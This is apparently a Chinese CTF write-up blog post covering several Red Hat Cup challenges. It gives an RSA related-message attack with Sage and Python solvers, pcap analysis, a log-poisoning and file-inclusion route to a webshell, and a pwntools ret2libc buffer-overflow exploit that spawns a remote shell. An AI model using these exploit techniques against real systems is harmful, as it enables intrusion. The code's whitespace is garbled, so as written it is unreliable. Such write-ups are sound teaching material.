您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

红帽杯部分Wp

合天网安实验室 发布时间:2018-05-04 18:30:00 ,浏览量:0

本文原创作者:Team233

原创投稿详情:重金悬赏 | 合天原创投稿等你来!

Crypto

rsa systemwriteup

拿到代码,粗略一看,嗯首先有个len为38的flag,另这个flag为origin_flag,然后然后flag通过pad()函数,即flag= pad(origin_flag),之后能让你选择:1.unpad(flag)->flag = unpad(flag)+ raw_input,其中后者是我们输入的字符串,长度不能超过256-38=218

然后很简单就能验证unpad(pad(flag))== flag

可以参考以下的代码:

defpro():   fori inrange(23):       flag =''       for_ inrange(38):           flag +=random.choice(list(string.lowercase+string.uppercase +string.digits))       assert(len(flag)==38)       printunpad(pad(flag)) ==flag

然后出来一堆true,验证成功

所以我们直接选择1的话,flag= unpad(flag)+ raw_input 

其实就是flag= origin_flag+ raw_input

它还要flag= pad(flag),也就是cmd= 1之后返回的,

flag= pad(origin_flag + raw_input)

我们看看pad()函数做什么

fake_flag='flag{'+'@'*32+'}'assert(len(fake_flag)==38)rs=pad(fake_flag)print'lenafter pad():',len(rs)print'stringafter pad():',rshope_m1=pad(fake_flag +'1')print'hope_m1:',hope_m1

结果:

lenafter pad(): 256stringafter pad():Ú@ÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚ@ÚÚÚÚ@ÚÚÚÚ@ÚÚÚÚÚ@ÚÚÚÚÚÚÚÚ}ÚÚÚÚÚÚÚ@ÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚ@ÚÚÚÚÚÚÚÚÚfÚÚÚ@ÚÚÚ@ÚÚÚ@ÚÚ@ÚÚÚ@aÚÚÚgl@ÚÚÚÚ@ÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚ@ÚÚÚÚÚÚÚÚ@ÚÚÚÚÚ@Ú@ÚÚÚÚÚÚ@Ú@Ú@ÚÚÚÚÚÚÚ@ÚÚÚÚÚÚÚÚ@ÚÚÚÚ@ÚÚÚ@@ÚÚÚÚÚÚÚÚÚ@ÚÚ@ÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚ@Ú{ÚÚÚÚÚÚÚ@ÚÚ@@Úhope_m1:Ù@ÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙ@ÙÙÙÙ@ÙÙÙÙ@ÙÙÙÙÙ@ÙÙÙÙÙÙÙÙ}ÙÙÙÙÙÙÙ@ÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙ@ÙÙÙÙÙÙÙÙÙfÙÙÙ@ÙÙÙ@ÙÙÙ@ÙÙ@ÙÙÙ@aÙÙÙgl@ÙÙÙÙ@ÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙ@ÙÙÙÙÙÙÙÙ@ÙÙÙÙÙ@Ù@ÙÙÙÙÙÙ@Ù@Ù@ÙÙÙÙÙÙÙ@ÙÙÙÙÙÙÙÙ@ÙÙÙÙ@ÙÙÙ@@ÙÙÙÙÙÙÙÙÙ@ÙÙ@ÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙÙ@Ù{ÙÙÙÙ1ÙÙ@ÙÙ@@Ù

加上源代码的阅读,我们可以很清楚地get到,pad函数会返回一个长度为256的字符串,且将我们的输入,固定地映射到一个其中固定的位置,其他地方则用'\x00'填充

然后根据pad(hope_m1)后的结果也能发现,如果想我一开始想的直接发个’1’,经过pad()之后,’1’并不会出现在最后的位置。

所以我们要做的,就是想办法产生两个,pad()之后只有最后一个字符不同的字符串,即:

find:str1,str2sit:pad(str1) = msg + '1' = m1    pad(str2) = msg + '2' = m2

然后使用cmd== ’2’进行rsa加密,即得到两组密文c1和c2,就能利用Franklin-ReiterRelated Message Attack得到RSA明文pad(origin_flag+raw_input)了

至于cmd ==’2’为什么是rsa加密,这个试几次mul(x, y, z),发现它就是x**y%z就能知道了。

我们要找到str1,和str2,首先要知道,原字符串str的哪个位置的字符,会被pad()塞进输出m的最后一个位置。

因为懒得仔细看代码,我是通过以下方法找出来的,算是二分法吧

deffind_padding():   table =string.digits +string.lowercase +string.uppercase   inde =''   fori intable:       inde +=i*4   inde +='#'*8   assertlen(inde)==256   padd =pad(inde)   tag =padd[-1]   inde =''   fori intable:       ifi ==tag:           inde +='&*()'       else:           inde +=i*4   padd =pad(inde)   tag =padd[-1]   fin =0   fori ininde:       ifi ==tag:           printfin       else:           fin +=1

结果:125

那么我们就可以使raw_input()='a'*87+'1'+'b'*130和'a'*87+'2'+'b'*130来达到我们上述的目的

可以用以下代码验证一下,其实’g’是origin_flag的代替

defproof_padding():   str1 ='g'*38+'a'*87+'1'+'b'*130   str2 ='g'*38+'a'*87+'2'+'b'*130   assertstr1[125]=='1'andstr2[125]=='2'   print'm1:',pad(str1)   print'm2:',pad(str2)   print'pad(str1)[:-1]== pad(str2)[:-1]?',pad(str1)[:-1]==pad(str2)[:-1]

结果:

m1:agabaabababbbbbbababbabbabaabbbbaababbgababgabbagabaabgbaabaabbgabbababgbbabaabbaaaabbbbagaabbbbbbbgbbbgbbagbbagbagbbaggbbbgggbaabgaaabbbbbbbbbabbagbbabbbabgabaabgagabbabagbgbgbaaabbagbbbbababgbbabgbabggaabbaaabbgbagababbbbbbbaababbbbbababagagbbababagaagg1m2:agabaabababbbbbbababbabbabaabbbbaababbgababgabbagabaabgbaabaabbgabbababgbbabaabbaaaabbbbagaabbbbbbbgbbbgbbagbbagbagbbaggbbbgggbaabgaaabbbbbbbbbabbagbbabbbabgabaabgagabbabagbgbgbaaabbagbbbbababgbbabgbabggaabbaaabbgbagababbbbbbbaababbbbbababagagbbababagaagg2pad(str1)[:-1]== pad(str2)[:-1]? True

发送这两个padding,得到密文:

c1=0x2e95061645dba045d7083137aba0d7248e1e1effa7ad255439d60fdabd7dafa277cccad377602d4633a59724a924eec2a9ddf70a5082ada19c1e0ab12d02cb1fd12bf0153816c606c530de8dfba10994354dec0f8dc4545ff014377ac9441fbc8fbc2a4ddc37f1250bb123e8756628bce218356ababba112402d3354ab7e9562c332aad99dad35c3013e372e5847521c64c0db7e6fb6e7978376b409effab4e2a1919acb9b6767146b6946e9ddea05623bddcdef0da95b1f58036bd01fb9aa439c4fb52647c4619b06fd330604b993705c680eaab44a3b1c9ad85d1c4a225cf8461d646633be77be26d61d55408076f2a7ab78f07fe575ccfc38b06ee1343c89c2=0x4d050fa5936549d50987564780dcbf2ab67b7fa8591fb89938eb6ed1351e34f858bc109e208e749ff23b02c1863bb5ffe8132cae92c002fc24a448ccdb83b3f7c9244b5cffbc4ab241b2736d3862da76239ef6c72cb70aa623aa8641ab67f9db89a18d7f6be890bfbf351ddb17c5f6447bca5875d062335f5e939ce214863f9caccdcfc08acb3af46381ada4f10fed27290490afe6675905b6841f282a3a9491c084578a828254b73caaf74722e87617724f18bc00d403f6390e1a0137305c76aec1697cb5cb78a7be0fa07bc6122de699f26cb486a371d0d5f10f92aa869171033132568d601c207bb1da88150e7288e2d8e8d2b504f4d960b27e589db482be

参考这里RSA-2(Crypto 200)的解题脚本,跑出

pad(origin_flag+ our_padding)

#solve.sagefromhashlib importsha256defrelated_message_attack(c1, c2, diff, e, n):   PRx.=PolynomialRing(Zmod(n))   g1 =x^e-c1   g2 =(x+diff)^e-c2   defgcd(g1, g2):       whileg2:           g1, g2 =g2, g1 %g2       returng1.monic()   return-gcd(g1,g2)[0]n=0xBACA954B2835186EEE1DAC2EF38D7E11582127FB9E6107CCAFE854AE311C07ACDE3AAC8F0226E1435D53F03DC9CE6701CF9407C77CA9EE8B5C0DEE300B11DD4D6DC33AC50CA9628A7FB3928943F90738BF6F5EC39F786D1E6AD565EB6E0F1F92ED3227658FDC7C3AE0D4017941E1D5B27DB0F12AE1B54664FD820736235DA626F0D6F97859E5969902088538CF70A0E8B833CE1896AE91FB62852422B8C29941903A6CF4A70DF2ACA1D5161E01CECFE3AD80041B2EE0ACEAA69C793D6DCCC408519A8C718148CF897ACB24FADD8485588B50F39BCC0BBF2BF7AD56A51CB3963F1EB83D2159E715C773A1CB5ACC05B95D2253EEFC3CCC1083A5EF279AF06BB92Fe=0x10001c1=0x2e95061645dba045d7083137aba0d7248e1e1effa7ad255439d60fdabd7dafa277cccad377602d4633a59724a924eec2a9ddf70a5082ada19c1e0ab12d02cb1fd12bf0153816c606c530de8dfba10994354dec0f8dc4545ff014377ac9441fbc8fbc2a4ddc37f1250bb123e8756628bce218356ababba112402d3354ab7e9562c332aad99dad35c3013e372e5847521c64c0db7e6fb6e7978376b409effab4e2a1919acb9b6767146b6946e9ddea05623bddcdef0da95b1f58036bd01fb9aa439c4fb52647c4619b06fd330604b993705c680eaab44a3b1c9ad85d1c4a225cf8461d646633be77be26d61d55408076f2a7ab78f07fe575ccfc38b06ee1343c89c2=0x4d050fa5936549d50987564780dcbf2ab67b7fa8591fb89938eb6ed1351e34f858bc109e208e749ff23b02c1863bb5ffe8132cae92c002fc24a448ccdb83b3f7c9244b5cffbc4ab241b2736d3862da76239ef6c72cb70aa623aa8641ab67f9db89a18d7f6be890bfbf351ddb17c5f6447bca5875d062335f5e939ce214863f9caccdcfc08acb3af46381ada4f10fed27290490afe6675905b6841f282a3a9491c084578a828254b73caaf74722e87617724f18bc00d403f6390e1a0137305c76aec1697cb5cb78a7be0fa07bc6122de699f26cb486a371d0d5f10f92aa869171033132568d601c207bb1da88150e7288e2d8e8d2b504f4d960b27e589db482bepad1=int('1'.encode('hex'),16)pad2=int('2'.encode('hex'),16)diff=pad1 -pad2m=(related_message_attack(c2, c1, diff, e, n) -pad2) >>(8*6)flag=('%x'%m).decode('hex')printflag

脚本跑出来结果出来少了六个字符只得到

a0abaabababbbbbbababbabbabaabbbbaababb3ababeabba1abaabebaabaabb}abbababbbbabaabbaaaabbbba2aabbbbbbbfbbb7bba1bba1ba2bba1abbbgl1baab7aaabbbbbbbbbabba7bbabbbab0abaabca7abbaba5b4b2baaabba3bbbbababdbbab6bab88aabbaaabbeba2ababbbbbbbaababbbbbababa6a{bbababa

因为我们知道,m2为:

#printpad('g'*38+'a'*87+'2'+'b'*130)agabaabababbbbbbababbabbabaabbbbaababbgababgabbagabaabgbaabaabbgabbababgbbabaabbaaaabbbbagaabbbbbbbgbbbgbbagbbagbagbbaggbbbgggbaabgaaabbbbbbbbbabbagbbabbbabgabaabgagabbabagbgbgbaaabbagbbbbababgbbabgbabggaabbaaabbgbagababbbbbbbaababbbbbababagagbbababagaagg2

所以只要爆破未知的三个flag的字符就好了

爆破脚本如下:

importrandomn=0xBACA954B2835186EEE1DAC2EF38D7E11582127FB9E6107CCAFE854AE311C07ACDE3AAC8F0226E1435D53F03DC9CE6701CF9407C77CA9EE8B5C0DEE300B11DD4D6DC33AC50CA9628A7FB3928943F90738BF6F5EC39F786D1E6AD565EB6E0F1F92ED3227658FDC7C3AE0D4017941E1D5B27DB0F12AE1B54664FD820736235DA626F0D6F97859E5969902088538CF70A0E8B833CE1896AE91FB62852422B8C29941903A6CF4A70DF2ACA1D5161E01CECFE3AD80041B2EE0ACEAA69C793D6DCCC408519A8C718148CF897ACB24FADD8485588B50F39BCC0BBF2BF7AD56A51CB3963F1EB83D2159E715C773A1CB5ACC05B95D2253EEFC3CCC1083A5EF279AF06BB92Fe=0x10001defstr2int(s):   returnint(s.encode('hex'),16)defmul(x, y, z):   ret =1   whiley !=0:       ify &1!=0:           ret =(ret *x) %z       x =(x *x) %z       y >>=1   returnrettable='abcdefghijklmnopqrstuvwxyz1234567890'm=9722845213791901732663300449502267181519287029399227919991165723765212746919573285666123706836489224463721089840743139418697832506327042473468203155630177368780079344951519409709317265190931146262131299556890026074104589249053353729833333467468275090862094080257690358117609775763346012911315954917158917319845657783307036691887791890465688849712792541903499790258630788961884582627874317825101835791850155350051658314231079041683430047429653079073954080831411213924413680884483234556480657665875404481385046287017978656946642717920537789787335724804044343956311862558019667399242904217349436479126652550744856887998while1:   mssg ='a0abaabababbbbbbababbabbabaabbbbaababb3ababeabba1abaabebaabaabb}abbababbbbabaabbaaaabbbba2aabbbbbbbfbbb7bba1bba1ba2bba1abbbgl1baab7aaabbbbbbbbbabba7bbabbbab0abaabca7abbaba5b4b2baaabba3bbbbababdbbab6bab88aabbaaabbeba2ababbbbbbbaababbbbbababa6a{bbababa'   mssg +=random.choice(table)   mssg +='aa'   mssg +=random.choice(table)   mssg +=random.choice(table)   mssg +='2'   assertlen(mssg)==256   signature =mul(str2int(mssg), e, n)   ifsignature ==m:       printmssg       break

得到pad(origin_flag+ our_padding)为:

a0abaabababbbbbbababbabbabaabbbbaababb3ababeabba1abaabebaabaabb}abbababbbbabaabbaaaabbbba2aabbbbbbbfbbb7bba1bba1ba2bba1abbbgl1baab7aaabbbbbbbbbabba7bbabbbab0abaabca7abbaba5b4b2baaabba3bbbbababdbbab6bab88aabbaaabbeba2ababbbbbbbaababbbbbababa6a{bbababaaaaf92

然后用下面代码getflag 其中s是用

fakeflag= 'abcdefghijklmnopqrstuvwxyz1234567890[]'+'-'*87+'1'+'+'*130

pad之后得到的字符串

>>>s ='-j-+--+-+-++++++-+-++-++-+--++++--+-++0-+-+l-++-i-+--+[+--+--++]-++-+-+w++-+--++----++++-v--+++++++a+++k++-f++-g+-5++-pc+++dbt+--+r---+++++++++-++-9++-+++-+3-+--+1-4-++-+-o+y+2+---++-7++++-+-+6++-+h+-+sq--++---++z+-n-+-+++++++--+-+++++-+-+-x-e++-+-+-u--8m1'>>>dist ={}>>>fori inrange(len(s)):       ifs[i] notindist.keys():           dist[s[i]] =i      >>>he =[]>>>fori in'abcdefghijklmnopqrstuvwxyz1234567890[]':   he.append(dist[i])   >>>miwen ='a0abaabababbbbbbababbabbabaabbbbaababb3ababeabba1abaabebaabaabb}abbababbbbabaabbaaaabbbba2aabbbbbbbfbbb7bba1bba1ba2bba1abbbgl1baab7aaabbbbbbbbbabba7bbabbbab0abaabca7abbaba5b4b2baaabba3bbbbababdbbab6bab88aabbaaabbeba2ababbbbbbbaababbbbbababa6a{bbababaaaaf92'>>>rs =''>>>flag =''>>>fori inhe:   flag +=miwen[i]>>>flag'flag{116107e92518781a2b64ec2072d3f73e}'

就能getflag了

flag‘flag{116107e92518781a2b64ec2072d3f73e}’

杂项

Not OnlyWireshark

hint: tshark

  打开数据包后发现都是tcp、http的数据报文,这种报文还是比较好处理的,所以就用wireshark处理了,还好数据不多。我们直接导出他们之间的数据包看看,wireshark的操作:文件–> 导出对象–> HTTP。

这里让人感到奇怪的就是?name=后面的值都是16进制的,而且从服务器的响应报文来看,都没有什么实际的东西,所以一个想法就是这一串16进制可能藏着什么东西,所以我们把这些数据都提取出来,虽然提示了tshark,但奈何自己不会,所以下面就手工提取了。

首先我们筛选出这些数据,使用:tcpmatches "GET"就行,下拉到目标。

这里好在只有百来个包,再多点就真的要考虑去学tshark了。还一个要注意的就是一定不能从保存的文件中提取,因为文件夹里的排序顺序跟数据包的不一致,所以导致提取的数据是不正确的。

提取的数据如下:

了。

正确的做法是在send.php里请求:

http://bb37664e6549424c88750e9f2dd7c0de62213b7e29f343be.game.ichunqiu.com//

这样会在日志文件中(/var/log/nginx/access.log)里产生日志,然后把他包含进来,请求:

http://bb37664e6549424c88750e9f2dd7c0de62213b7e29f343be.game.ichunqiu.com/index.php?page=../../../var/log/nginx/access.log

然后我们再生成一句话:

http://bb37664e6549424c88750e9f2dd7c0de62213b7e29f343be.game.ichunqiu.com//

用菜刀连接

翻了一下目录没有找到flag相关的信息,再考虑给出的users.sql和数据库配置文件conn.php,决定看看数据库,不过我们需要配置一下。

最后找到flag:

flag:flag{dbc98dd7-90fb-44f4-8dbe-35a72f07ec9d}。

pwn

game server

操作内容:

首先IDA分析程序,发现有三个输入的地方,但是前面两个都是最多输入256字节大小的字符,并且内容都是用一个指针来指向的,所以并没有出现有溢出点,但是最后输入introduction的时候是用read输入前面snprintf成功读取的字节数,这读取字节数的可控性,而且s又是放在栈上的,这就造成了溢出,如下图:https://zoepla.github.io/images/posts/redhat/1525178282949.png

gdb调试找偏移地址的整个过程:

以发现返回地址:

这时断在read函数,ni单步执行输入introduction的内容,发现可以输入的字节数完全可以覆盖返回地址,远不止255个字符:

gdb调试用pattern计算得到eip的距离为277

在read后面0x08048794下断点,然后gdb调试:看到地址已经被成功覆盖为puts_plt表的地址,如图:

payload= "C"*277 + p32(puts_plt) + p32(main) +p32(libc_start_main_got)p.sendline(payload)

然后在接收相应的地址的时候出了问题,发现直接payload后面设置标志来接收后面部分都是出现一大堆乱七八糟的东西,最后找到原因是最后return是一个printf函数,用于打印整个用户信息:

要准确在其后面接收信息,发现后面有个换行符,再加上我用的sendline来send的payload,所以直接p.recvuntil("\n\n")就可以成功接收到payload了

计算pattern:

pattern create 300:

continue输入pattern,发现他断下来报错,那是因为ret是一个不存在的地址而导致的:

得到EIP偏移为277

然后接收到libc地址后(泄露libc地址),再通过网站https://libc.blukat.me/或者用libc-database来找对应版本的libc库,最后注意ret地址要是主界面的那个子程序(0x08048637),这样可以保持栈平衡,最后再一次ret2libc来执行system来getshell就ok了

脚本如下:

frompwn import *fromLibcSearcher import *elf= ELF('./pwn2')#p= process('./pwn2')p= remote('123.59.138.180',20000)puts_got= elf.got['puts']puts_plt= elf.plt['puts']libc_start_main_got= elf.got['__libc_start_main']printhex(libc_start_main_got)printhex(puts_got)printp.recvuntil("First, you need to tell me youname?")p.sendline("A"*255)#printp.recvuntil("What's you occupation?")#p.sendline("B"*255)printp.recvuntil("[Y/N]")p.sendline('Y')main= 0x08048637#payload= "C"*277 + p32(puts_plt) + p32(main) +p32(puts_got)payload= "C"*277 + p32(puts_plt) + p32(main) +p32(libc_start_main_got)pause()p.sendline(payload)p.recvuntil("\n\n")libc_start_main_addr = u32(p.recv(4))printhex(libc_start_main_addr)pause()libc_base= libc_start_main_addr - 0x018540system_addr= libc_base + 0x03a940binsh_addr= libc_base + 0x15902blog.info("libc_baseaddr " + hex(libc_base))log.info("system_addraddr " + hex(system_addr))log.info("binsh_addraddr " + hex(binsh_addr))printp.recvuntil("First, you need to tell me youname?")p.sendline("A"*255)printp.recvuntil("[Y/N]")p.sendline('Y')payload_getshell= "C"*277 + p32(system_addr) + p32(0) +p32(binsh_addr)p.sendline(payload_getshell)p.interactive()#EIP+0found at offset: 277#EBP+0found at offset: 273

FLAG值:

flag{f3b92d795c9ee0725c160680acd084d9}

本文题目链接:https://pan.baidu.com/s/11GtjeF-Am67BuEZOR93eDA

密码:9r71

看不过瘾?合天2017年度干货精华请点击《【精华】2017年度合天网安干货集锦》

别忘了投稿哦!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!

点击了解投稿详情 重金悬赏 | 合天原创投稿等你来!

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0381s